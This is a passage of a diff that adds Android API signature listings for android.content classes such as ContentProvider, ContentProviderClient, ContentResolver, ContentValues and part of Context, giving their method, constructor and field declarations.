+    method public static android.content.ComponentName readFromParcel(android.os.Parcel);
+    method public String toShortString();
+    method @Nullable public static android.content.ComponentName unflattenFromString(@NonNull String);
+    method public void writeToParcel(android.os.Parcel, int);
+    method public static void writeToParcel(android.content.ComponentName, android.os.Parcel);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.ComponentName> CREATOR;
+  }
+
+  public abstract class ContentProvider implements android.content.ComponentCallbacks2 {
+    ctor public ContentProvider();
+    method @NonNull public android.content.ContentProviderResult[] applyBatch(@NonNull String, @NonNull java.util.ArrayList<android.content.ContentProviderOperation>) throws android.content.OperationApplicationException;
+    method @NonNull public android.content.ContentProviderResult[] applyBatch(@NonNull java.util.ArrayList<android.content.ContentProviderOperation>) throws android.content.OperationApplicationException;
+    method public void attachInfo(android.content.Context, android.content.pm.ProviderInfo);
+    method public int bulkInsert(@NonNull android.net.Uri, @NonNull android.content.ContentValues[]);
+    method @Nullable public android.os.Bundle call(@NonNull String, @NonNull String, @Nullable String, @Nullable android.os.Bundle);
+    method @Nullable public android.os.Bundle call(@NonNull String, @Nullable String, @Nullable android.os.Bundle);
+    method @Nullable public android.net.Uri canonicalize(@NonNull android.net.Uri);
+    method @NonNull public final android.content.ContentProvider.CallingIdentity clearCallingIdentity();
+    method public abstract int delete(@NonNull android.net.Uri, @Nullable String, @Nullable String[]);
+    method public int delete(@NonNull android.net.Uri, @Nullable android.os.Bundle);
+    method public void dump(java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method @Nullable public final android.content.AttributionSource getCallingAttributionSource();
+    method @Nullable public final String getCallingAttributionTag();
+    method @Nullable public final String getCallingPackage();
+    method @Nullable public final String getCallingPackageUnchecked();
+    method @Nullable public final android.content.Context getContext();
+    method @Nullable public final android.content.pm.PathPermission[] getPathPermissions();
+    method @Nullable public final String getReadPermission();
+    method @Nullable public String[] getStreamTypes(@NonNull android.net.Uri, @NonNull String);
+    method @Nullable public abstract String getType(@NonNull android.net.Uri);
+    method @Nullable public final String getWritePermission();
+    method @Nullable public abstract android.net.Uri insert(@NonNull android.net.Uri, @Nullable android.content.ContentValues);
+    method @Nullable public android.net.Uri insert(@NonNull android.net.Uri, @Nullable android.content.ContentValues, @Nullable android.os.Bundle);
+    method protected boolean isTemporary();
+    method public void onCallingPackageChanged();
+    method public void onConfigurationChanged(android.content.res.Configuration);
+    method public abstract boolean onCreate();
+    method public void onLowMemory();
+    method public void onTrimMemory(int);
+    method @Nullable public android.content.res.AssetFileDescriptor openAssetFile(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException;
+    method @Nullable public android.content.res.AssetFileDescriptor openAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method @Nullable public android.os.ParcelFileDescriptor openFile(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException;
+    method @Nullable public android.os.ParcelFileDescriptor openFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method @NonNull protected final android.os.ParcelFileDescriptor openFileHelper(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException;
+    method @NonNull public <T> android.os.ParcelFileDescriptor openPipeHelper(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable T, @NonNull android.content.ContentProvider.PipeDataWriter<T>) throws java.io.FileNotFoundException;
+    method @Nullable public android.content.res.AssetFileDescriptor openTypedAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle) throws java.io.FileNotFoundException;
+    method @Nullable public android.content.res.AssetFileDescriptor openTypedAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method @Nullable public abstract android.database.Cursor query(@NonNull android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String);
+    method @Nullable public android.database.Cursor query(@NonNull android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String, @Nullable android.os.CancellationSignal);
+    method @Nullable public android.database.Cursor query(@NonNull android.net.Uri, @Nullable String[], @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal);
+    method public boolean refresh(android.net.Uri, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal);
+    method @NonNull public final android.content.Context requireContext();
+    method public final void restoreCallingIdentity(@NonNull android.content.ContentProvider.CallingIdentity);
+    method protected final void setPathPermissions(@Nullable android.content.pm.PathPermission[]);
+    method protected final void setReadPermission(@Nullable String);
+    method protected final void setWritePermission(@Nullable String);
+    method public void shutdown();
+    method @Nullable public android.net.Uri uncanonicalize(@NonNull android.net.Uri);
+    method public abstract int update(@NonNull android.net.Uri, @Nullable android.content.ContentValues, @Nullable String, @Nullable String[]);
+    method public int update(@NonNull android.net.Uri, @Nullable android.content.ContentValues, @Nullable android.os.Bundle);
+  }
+
+  public final class ContentProvider.CallingIdentity {
+  }
+
+  public static interface ContentProvider.PipeDataWriter<T> {
+    method public void writeDataToPipe(@NonNull android.os.ParcelFileDescriptor, @NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable T);
+  }
+
+  public class ContentProviderClient implements java.lang.AutoCloseable {
+    method @NonNull public android.content.ContentProviderResult[] applyBatch(@NonNull java.util.ArrayList<android.content.ContentProviderOperation>) throws android.content.OperationApplicationException, android.os.RemoteException;
+    method @NonNull public android.content.ContentProviderResult[] applyBatch(@NonNull String, @NonNull java.util.ArrayList<android.content.ContentProviderOperation>) throws android.content.OperationApplicationException, android.os.RemoteException;
+    method public int bulkInsert(@NonNull android.net.Uri, @NonNull android.content.ContentValues[]) throws android.os.RemoteException;
+    method @Nullable public android.os.Bundle call(@NonNull String, @Nullable String, @Nullable android.os.Bundle) throws android.os.RemoteException;
+    method @Nullable public android.os.Bundle call(@NonNull String, @NonNull String, @Nullable String, @Nullable android.os.Bundle) throws android.os.RemoteException;
+    method @Nullable public final android.net.Uri canonicalize(@NonNull android.net.Uri) throws android.os.RemoteException;
+    method public void close();
+    method public int delete(@NonNull android.net.Uri, @Nullable String, @Nullable String[]) throws android.os.RemoteException;
+    method public int delete(@NonNull android.net.Uri, @Nullable android.os.Bundle) throws android.os.RemoteException;
+    method @Nullable public android.content.ContentProvider getLocalContentProvider();
+    method @Nullable public String[] getStreamTypes(@NonNull android.net.Uri, @NonNull String) throws android.os.RemoteException;
+    method @Nullable public String getType(@NonNull android.net.Uri) throws android.os.RemoteException;
+    method @Nullable public android.net.Uri insert(@NonNull android.net.Uri, @Nullable android.content.ContentValues) throws android.os.RemoteException;
+    method @Nullable public android.net.Uri insert(@NonNull android.net.Uri, @Nullable android.content.ContentValues, @Nullable android.os.Bundle) throws android.os.RemoteException;
+    method @Nullable public android.content.res.AssetFileDescriptor openAssetFile(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException, android.os.RemoteException;
+    method @Nullable public android.content.res.AssetFileDescriptor openAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException, android.os.RemoteException;
+    method @Nullable public android.os.ParcelFileDescriptor openFile(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException, android.os.RemoteException;
+    method @Nullable public android.os.ParcelFileDescriptor openFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException, android.os.RemoteException;
+    method @Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException, android.os.RemoteException;
+    method @Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle) throws java.io.FileNotFoundException, android.os.RemoteException;
+    method @Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException, android.os.RemoteException;
+    method @Nullable public android.database.Cursor query(@NonNull android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String) throws android.os.RemoteException;
+    method @Nullable public android.database.Cursor query(@NonNull android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String, @Nullable android.os.CancellationSignal) throws android.os.RemoteException;
+    method @Nullable public android.database.Cursor query(@NonNull android.net.Uri, @Nullable String[], android.os.Bundle, @Nullable android.os.CancellationSignal) throws android.os.RemoteException;
+    method public boolean refresh(android.net.Uri, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws android.os.RemoteException;
+    method @Deprecated public boolean release();
+    method @Nullable public final android.net.Uri uncanonicalize(@NonNull android.net.Uri) throws android.os.RemoteException;
+    method public int update(@NonNull android.net.Uri, @Nullable android.content.ContentValues, @Nullable String, @Nullable String[]) throws android.os.RemoteException;
+    method public int update(@NonNull android.net.Uri, @Nullable android.content.ContentValues, @Nullable android.os.Bundle) throws android.os.RemoteException;
+  }
+
+  public class ContentProviderOperation implements android.os.Parcelable {
+    method @NonNull public android.content.ContentProviderResult apply(@NonNull android.content.ContentProvider, @NonNull android.content.ContentProviderResult[], int) throws android.content.OperationApplicationException;
+    method public int describeContents();
+    method @NonNull public android.net.Uri getUri();
+    method public boolean isAssertQuery();
+    method public boolean isCall();
+    method public boolean isDelete();
+    method public boolean isExceptionAllowed();
+    method public boolean isInsert();
+    method public boolean isReadOperation();
+    method public boolean isUpdate();
+    method public boolean isWriteOperation();
+    method public boolean isYieldAllowed();
+    method @NonNull public static android.content.ContentProviderOperation.Builder newAssertQuery(@NonNull android.net.Uri);
+    method @NonNull public static android.content.ContentProviderOperation.Builder newCall(@NonNull android.net.Uri, @Nullable String, @Nullable String);
+    method @NonNull public static android.content.ContentProviderOperation.Builder newDelete(@NonNull android.net.Uri);
+    method @NonNull public static android.content.ContentProviderOperation.Builder newInsert(@NonNull android.net.Uri);
+    method @NonNull public static android.content.ContentProviderOperation.Builder newUpdate(@NonNull android.net.Uri);
+    method @Nullable public android.os.Bundle resolveExtrasBackReferences(@NonNull android.content.ContentProviderResult[], int);
+    method @Nullable public String[] resolveSelectionArgsBackReferences(@NonNull android.content.ContentProviderResult[], int);
+    method @Nullable public android.content.ContentValues resolveValueBackReferences(@NonNull android.content.ContentProviderResult[], int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.ContentProviderOperation> CREATOR;
+  }
+
+  public static class ContentProviderOperation.Builder {
+    method @NonNull public android.content.ContentProviderOperation build();
+    method @NonNull public android.content.ContentProviderOperation.Builder withExceptionAllowed(boolean);
+    method @NonNull public android.content.ContentProviderOperation.Builder withExpectedCount(int);
+    method @NonNull public android.content.ContentProviderOperation.Builder withExtra(@NonNull String, @Nullable Object);
+    method @NonNull public android.content.ContentProviderOperation.Builder withExtraBackReference(@NonNull String, int);
+    method @NonNull public android.content.ContentProviderOperation.Builder withExtraBackReference(@NonNull String, int, @NonNull String);
+    method @NonNull public android.content.ContentProviderOperation.Builder withExtras(@NonNull android.os.Bundle);
+    method @NonNull public android.content.ContentProviderOperation.Builder withSelection(@Nullable String, @Nullable String[]);
+    method @NonNull public android.content.ContentProviderOperation.Builder withSelectionBackReference(int, int);
+    method @NonNull public android.content.ContentProviderOperation.Builder withSelectionBackReference(int, int, @NonNull String);
+    method @NonNull public android.content.ContentProviderOperation.Builder withValue(@NonNull String, @Nullable Object);
+    method @NonNull public android.content.ContentProviderOperation.Builder withValueBackReference(@NonNull String, int);
+    method @NonNull public android.content.ContentProviderOperation.Builder withValueBackReference(@NonNull String, int, @NonNull String);
+    method @NonNull public android.content.ContentProviderOperation.Builder withValueBackReferences(@NonNull android.content.ContentValues);
+    method @NonNull public android.content.ContentProviderOperation.Builder withValues(@NonNull android.content.ContentValues);
+    method @NonNull public android.content.ContentProviderOperation.Builder withYieldAllowed(boolean);
+  }
+
+  public class ContentProviderResult implements android.os.Parcelable {
+    ctor public ContentProviderResult(@NonNull android.net.Uri);
+    ctor public ContentProviderResult(int);
+    ctor public ContentProviderResult(@NonNull android.os.Bundle);
+    ctor public ContentProviderResult(@NonNull Throwable);
+    ctor public ContentProviderResult(android.os.Parcel);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.ContentProviderResult> CREATOR;
+    field @Nullable public final Integer count;
+    field @Nullable public final Throwable exception;
+    field @Nullable public final android.os.Bundle extras;
+    field @Nullable public final android.net.Uri uri;
+  }
+
+  public class ContentQueryMap extends java.util.Observable {
+    ctor public ContentQueryMap(android.database.Cursor, String, boolean, android.os.Handler);
+    method public void close();
+    method public java.util.Map<java.lang.String,android.content.ContentValues> getRows();
+    method public android.content.ContentValues getValues(String);
+    method public void requery();
+    method public void setKeepUpdated(boolean);
+  }
+
+  public abstract class ContentResolver {
+    ctor public ContentResolver(@Nullable android.content.Context);
+    method @Nullable public final android.content.ContentProviderClient acquireContentProviderClient(@NonNull android.net.Uri);
+    method @Nullable public final android.content.ContentProviderClient acquireContentProviderClient(@NonNull String);
+    method @Nullable public final android.content.ContentProviderClient acquireUnstableContentProviderClient(@NonNull android.net.Uri);
+    method @Nullable public final android.content.ContentProviderClient acquireUnstableContentProviderClient(@NonNull String);
+    method public static void addPeriodicSync(android.accounts.Account, String, android.os.Bundle, long);
+    method public static Object addStatusChangeListener(int, android.content.SyncStatusObserver);
+    method @NonNull public android.content.ContentProviderResult[] applyBatch(@NonNull String, @NonNull java.util.ArrayList<android.content.ContentProviderOperation>) throws android.content.OperationApplicationException, android.os.RemoteException;
+    method public final int bulkInsert(@NonNull @RequiresPermission.Write android.net.Uri, @NonNull android.content.ContentValues[]);
+    method @Nullable public final android.os.Bundle call(@NonNull android.net.Uri, @NonNull String, @Nullable String, @Nullable android.os.Bundle);
+    method @Nullable public final android.os.Bundle call(@NonNull String, @NonNull String, @Nullable String, @Nullable android.os.Bundle);
+    method @Deprecated public void cancelSync(android.net.Uri);
+    method public static void cancelSync(android.accounts.Account, String);
+    method public static void cancelSync(android.content.SyncRequest);
+    method @Nullable public final android.net.Uri canonicalize(@NonNull android.net.Uri);
+    method public final int delete(@NonNull @RequiresPermission.Write android.net.Uri, @Nullable String, @Nullable String[]);
+    method public final int delete(@NonNull @RequiresPermission.Write android.net.Uri, @Nullable android.os.Bundle);
+    method @Deprecated public static android.content.SyncInfo getCurrentSync();
+    method public static java.util.List<android.content.SyncInfo> getCurrentSyncs();
+    method public static int getIsSyncable(android.accounts.Account, String);
+    method public static boolean getMasterSyncAutomatically();
+    method @NonNull public java.util.List<android.content.UriPermission> getOutgoingPersistedUriPermissions();
+    method public static java.util.List<android.content.PeriodicSync> getPeriodicSyncs(android.accounts.Account, String);
+    method @NonNull public java.util.List<android.content.UriPermission> getPersistedUriPermissions();
+    method @Nullable public String[] getStreamTypes(@NonNull android.net.Uri, @NonNull String);
+    method public static android.content.SyncAdapterType[] getSyncAdapterTypes();
+    method public static boolean getSyncAutomatically(android.accounts.Account, String);
+    method @Nullable public final String getType(@NonNull android.net.Uri);
+    method @NonNull public final android.content.ContentResolver.MimeTypeInfo getTypeInfo(@NonNull String);
+    method @Nullable public final android.net.Uri insert(@NonNull @RequiresPermission.Write android.net.Uri, @Nullable android.content.ContentValues);
+    method @Nullable public final android.net.Uri insert(@NonNull @RequiresPermission.Write android.net.Uri, @Nullable android.content.ContentValues, @Nullable android.os.Bundle);
+    method public static boolean isSyncActive(android.accounts.Account, String);
+    method public static boolean isSyncPending(android.accounts.Account, String);
+    method @NonNull public android.graphics.Bitmap loadThumbnail(@NonNull android.net.Uri, @NonNull android.util.Size, @Nullable android.os.CancellationSignal) throws java.io.IOException;
+    method public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver);
+    method @Deprecated public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver, boolean);
+    method public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver, int);
+    method public void notifyChange(@NonNull java.util.Collection<android.net.Uri>, @Nullable android.database.ContentObserver, int);
+    method @Nullable public final android.content.res.AssetFileDescriptor openAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method @Nullable public final android.content.res.AssetFileDescriptor openAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException;
+    method @Nullable public final android.content.res.AssetFileDescriptor openAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method @Nullable public final android.os.ParcelFileDescriptor openFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method @Nullable public final android.os.ParcelFileDescriptor openFileDescriptor(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException;
+    method @Nullable public final android.os.ParcelFileDescriptor openFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method @Nullable public final java.io.InputStream openInputStream(@NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method @Nullable public final java.io.OutputStream openOutputStream(@NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method @Nullable public final java.io.OutputStream openOutputStream(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException;
+    method @Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method @Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle) throws java.io.FileNotFoundException;
+    method @Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException;
+    method @Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String);
+    method @Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String, @Nullable android.os.CancellationSignal);
+    method @Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal);
+    method public final boolean refresh(@NonNull android.net.Uri, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal);
+    method public final void registerContentObserver(@NonNull android.net.Uri, boolean, @NonNull android.database.ContentObserver);
+    method public void releasePersistableUriPermission(@NonNull android.net.Uri, int);
+    method public static void removePeriodicSync(android.accounts.Account, String, android.os.Bundle);
+    method public static void removeStatusChangeListener(Object);
+    method public static void requestSync(android.accounts.Account, String, android.os.Bundle);
+    method public static void requestSync(android.content.SyncRequest);
+    method public static void setIsSyncable(android.accounts.Account, String, int);
+    method public static void setMasterSyncAutomatically(boolean);
+    method public static void setSyncAutomatically(android.accounts.Account, String, boolean);
+    method @Deprecated public void startSync(android.net.Uri, android.os.Bundle);
+    method public void takePersistableUriPermission(@NonNull android.net.Uri, int);
+    method @Nullable public final android.net.Uri uncanonicalize(@NonNull android.net.Uri);
+    method public final void unregisterContentObserver(@NonNull android.database.ContentObserver);
+    method public final int update(@NonNull @RequiresPermission.Write android.net.Uri, @Nullable android.content.ContentValues, @Nullable String, @Nullable String[]);
+    method public final int update(@NonNull @RequiresPermission.Write android.net.Uri, @Nullable android.content.ContentValues, @Nullable android.os.Bundle);
+    method public static void validateSyncExtrasBundle(android.os.Bundle);
+    method @NonNull public static android.content.ContentResolver wrap(@NonNull android.content.ContentProvider);
+    method @NonNull public static android.content.ContentResolver wrap(@NonNull android.content.ContentProviderClient);
+    field public static final String ANY_CURSOR_ITEM_TYPE = "vnd.android.cursor.item/*";
+    field public static final String CURSOR_DIR_BASE_TYPE = "vnd.android.cursor.dir";
+    field public static final String CURSOR_ITEM_BASE_TYPE = "vnd.android.cursor.item";
+    field public static final String EXTRA_HONORED_ARGS = "android.content.extra.HONORED_ARGS";
+    field public static final String EXTRA_REFRESH_SUPPORTED = "android.content.extra.REFRESH_SUPPORTED";
+    field public static final String EXTRA_SIZE = "android.content.extra.SIZE";
+    field public static final String EXTRA_TOTAL_COUNT = "android.content.extra.TOTAL_COUNT";
+    field public static final int NOTIFY_DELETE = 16; // 0x10
+    field public static final int NOTIFY_INSERT = 4; // 0x4
+    field public static final int NOTIFY_SKIP_NOTIFY_FOR_DESCENDANTS = 2; // 0x2
+    field public static final int NOTIFY_SYNC_TO_NETWORK = 1; // 0x1
+    field public static final int NOTIFY_UPDATE = 8; // 0x8
+    field public static final String QUERY_ARG_GROUP_COLUMNS = "android:query-arg-group-columns";
+    field public static final String QUERY_ARG_LIMIT = "android:query-arg-limit";
+    field public static final String QUERY_ARG_OFFSET = "android:query-arg-offset";
+    field public static final String QUERY_ARG_SORT_COLLATION = "android:query-arg-sort-collation";
+    field public static final String QUERY_ARG_SORT_COLUMNS = "android:query-arg-sort-columns";
+    field public static final String QUERY_ARG_SORT_DIRECTION = "android:query-arg-sort-direction";
+    field public static final String QUERY_ARG_SORT_LOCALE = "android:query-arg-sort-locale";
+    field public static final String QUERY_ARG_SQL_GROUP_BY = "android:query-arg-sql-group-by";
+    field public static final String QUERY_ARG_SQL_HAVING = "android:query-arg-sql-having";
+    field public static final String QUERY_ARG_SQL_LIMIT = "android:query-arg-sql-limit";
+    field public static final String QUERY_ARG_SQL_SELECTION = "android:query-arg-sql-selection";
+    field public static final String QUERY_ARG_SQL_SELECTION_ARGS = "android:query-arg-sql-selection-args";
+    field public static final String QUERY_ARG_SQL_SORT_ORDER = "android:query-arg-sql-sort-order";
+    field public static final int QUERY_SORT_DIRECTION_ASCENDING = 0; // 0x0
+    field public static final int QUERY_SORT_DIRECTION_DESCENDING = 1; // 0x1
+    field public static final String SCHEME_ANDROID_RESOURCE = "android.resource";
+    field public static final String SCHEME_CONTENT = "content";
+    field public static final String SCHEME_FILE = "file";
+    field @Deprecated public static final String SYNC_EXTRAS_ACCOUNT = "account";
+    field public static final String SYNC_EXTRAS_DISCARD_LOCAL_DELETIONS = "discard_deletions";
+    field public static final String SYNC_EXTRAS_DO_NOT_RETRY = "do_not_retry";
+    field public static final String SYNC_EXTRAS_EXPEDITED = "expedited";
+    field @Deprecated public static final String SYNC_EXTRAS_FORCE = "force";
+    field public static final String SYNC_EXTRAS_IGNORE_BACKOFF = "ignore_backoff";
+    field public static final String SYNC_EXTRAS_IGNORE_SETTINGS = "ignore_settings";
+    field public static final String SYNC_EXTRAS_INITIALIZE = "initialize";
+    field public static final String SYNC_EXTRAS_MANUAL = "force";
+    field public static final String SYNC_EXTRAS_OVERRIDE_TOO_MANY_DELETIONS = "deletions_override";
+    field public static final String SYNC_EXTRAS_REQUIRE_CHARGING = "require_charging";
+    field public static final String SYNC_EXTRAS_SCHEDULE_AS_EXPEDITED_JOB = "schedule_as_expedited_job";
+    field public static final String SYNC_EXTRAS_UPLOAD = "upload";
+    field public static final int SYNC_OBSERVER_TYPE_ACTIVE = 4; // 0x4
+    field public static final int SYNC_OBSERVER_TYPE_PENDING = 2; // 0x2
+    field public static final int SYNC_OBSERVER_TYPE_SETTINGS = 1; // 0x1
+  }
+
+  public static final class ContentResolver.MimeTypeInfo {
+    method @NonNull public CharSequence getContentDescription();
+    method @NonNull public android.graphics.drawable.Icon getIcon();
+    method @NonNull public CharSequence getLabel();
+  }
+
+  public class ContentUris {
+    ctor public ContentUris();
+    method @NonNull public static android.net.Uri.Builder appendId(@NonNull android.net.Uri.Builder, long);
+    method public static long parseId(@NonNull android.net.Uri);
+    method @NonNull public static android.net.Uri removeId(@NonNull android.net.Uri);
+    method @NonNull public static android.net.Uri withAppendedId(@NonNull android.net.Uri, long);
+  }
+
+  public final class ContentValues implements android.os.Parcelable {
+    ctor public ContentValues();
+    ctor public ContentValues(int);
+    ctor public ContentValues(android.content.ContentValues);
+    method public void clear();
+    method public boolean containsKey(String);
+    method public int describeContents();
+    method public Object get(String);
+    method public Boolean getAsBoolean(String);
+    method public Byte getAsByte(String);
+    method public byte[] getAsByteArray(String);
+    method public Double getAsDouble(String);
+    method public Float getAsFloat(String);
+    method public Integer getAsInteger(String);
+    method public Long getAsLong(String);
+    method public Short getAsShort(String);
+    method public String getAsString(String);
+    method public boolean isEmpty();
+    method public java.util.Set<java.lang.String> keySet();
+    method public void put(String, String);
+    method public void put(String, Byte);
+    method public void put(String, Short);
+    method public void put(String, Integer);
+    method public void put(String, Long);
+    method public void put(String, Float);
+    method public void put(String, Double);
+    method public void put(String, Boolean);
+    method public void put(String, byte[]);
+    method public void putAll(android.content.ContentValues);
+    method public void putNull(String);
+    method public void remove(String);
+    method public int size();
+    method public java.util.Set<java.util.Map.Entry<java.lang.String,java.lang.Object>> valueSet();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.ContentValues> CREATOR;
+    field public static final String TAG = "ContentValues";
+  }
+
+  public abstract class Context {
+    ctor public Context();
+    method public boolean bindIsolatedService(@NonNull @RequiresPermission android.content.Intent, int, @NonNull String, @NonNull java.util.concurrent.Executor, @NonNull android.content.ServiceConnection);
+    method public abstract boolean bindService(@RequiresPermission android.content.Intent, @NonNull android.content.ServiceConnection, int);
+    method public boolean bindService(@NonNull @RequiresPermission android.content.Intent, int, @NonNull java.util.concurrent.Executor, @NonNull android.content.ServiceConnection);
+    method @RequiresPermission(anyOf={"android.permission.INTERACT_ACROSS_USERS", android.Manifest.permission.INTERACT_ACROSS_PROFILES}) public boolean bindServiceAsUser(@NonNull @RequiresPermission android.content.Intent, @NonNull android.content.ServiceConnection, int, @NonNull android.os.UserHandle);
+    method @CheckResult(suggest="#enforceCallingOrSelfPermission(String,String)") public abstract int checkCallingOrSelfPermission(@NonNull String);
+    method @CheckResult(suggest="#enforceCallingOrSelfUriPermission(Uri,int,String)") public abstract int checkCallingOrSelfUriPermission(android.net.Uri, int);
+    method @NonNull public int[] checkCallingOrSelfUriPermissions(@NonNull java.util.List<android.net.Uri>, int);
+    method @CheckResult(suggest="#enforceCallingPermission(String,String)") public abstract int checkCallingPermission(@NonNull String);
+    method @CheckResult(suggest="#enforceCallingUriPermission(Uri,int,String)") public abstract int checkCallingUriPermission(android.net.Uri, int);
+    method @NonNull public int[] checkCallingUriPermissions(@NonNull java.util.List<android.net.Uri>, int);
+    method @CheckResult(suggest="#enforcePermission(String,int,int,String)") public abstract int checkPermission(@NonNull String, int, int);
+    method public abstract int checkSelfPermission(@NonNull String);
+    method @CheckResult(suggest="#enforceUriPermission(Uri,int,int,String)") public abstract int checkUriPermission(android.net.Uri, int, int, int);
+    method @CheckResult(suggest="#enforceUriPermission(Uri,String,String,int,int,int,String)") public abstract int checkUriPermission(@Nullable android.net.Uri, @Nullable String, @Nullable String, int, int, int);
+    method @NonNull public int[] checkUriPermissions(@NonNull java.util.List<android.net.Uri>, int, int, int);
+    method @Deprecated public abstract void clearWallpaper() throws java.io.IOException;
+    method @NonNull public android.content.Context createAttributionContext(@Nullable String);
+    method public abstract android.content.Context createConfigurationContext(@NonNull android.content.res.Configuration);
+    method @NonNull public android.content.Context createContext(@NonNull android.content.ContextParams);
+    method public abstract android.content.Context createContextForSplit(String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public abstract android.content.Context createDeviceProtectedStorageContext();
+    method @DisplayContext public abstract android.content.Context createDisplayContext(@NonNull android.view.Display);
+    method public abstract android.content.Context createPackageContext(String, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull @UiContext public android.content.Context createWindowContext(int, @Nullable android.os.Bundle);
+    method @NonNull @UiContext public android.content.Context createWindowContext(@NonNull android.view.Display, int, @Nullable android.os.Bundle);
+    method public abstract String[] databaseList();
+    method public abstract boolean deleteDatabase(String);
+    method public abstract boolean deleteFile(String);
+    method public abstract boolean deleteSharedPreferences(String);
+    method public abstract void enforceCallingOrSelfPermission(@NonNull String, @Nullable String);
+    method public abstract void enforceCallingOrSelfUriPermission(android.net.Uri, int, String);
+    method public abstract void enforceCallingPermission(@NonNull String, @Nullable String);
+    method public abstract void enforceCallingUriPermission(android.net.Uri, int, String);
+    method public abstract void enforcePermission(@NonNull String, int, int, @Nullable String);
+    method public abstract void enforceUriPermission(android.net.Uri, int, int, int, String);
+    method public abstract void enforceUriPermission(@Nullable android.net.Uri, @Nullable String, @Nullable String, int, int, int, @Nullable String);
+    method public abstract String[] fileList();
+    method public abstract android.content.Context getApplicationContext();
+    method public abstract android.content.pm.ApplicationInfo getApplicationInfo();
+    method public abstract android.content.res.AssetManager getAssets();
+    method @NonNull public android.content.AttributionSource getAttributionSource();
+    method @Nullable public String getAttributionTag();
+    method public abstract java.io.File getCacheDir();
+    method public abstract ClassLoader getClassLoader();
+    method public abstract java.io.File getCodeCacheDir();
+    method @ColorInt public final int getColor(@ColorRes int);
+    method @NonNull public final android.content.res.ColorStateList getColorStateList(@ColorRes int);
+    method public abstract android.content.ContentResolver getContentResolver();
+    method public abstract java.io.File getDataDir();
+    method public abstract java.io.File getDatabasePath(String);
+    method public abstract java.io.File getDir(String, int);
+    method @Nullable public android.view.Display getDisplay();
+    method @Nullable public final android.graphics.drawable.Drawable getDrawable(@DrawableRes int);
+    method @Nullable public abstract java.io.File getExternalCacheDir();
+    method public abstract java.io.File[] getExternalCacheDirs();
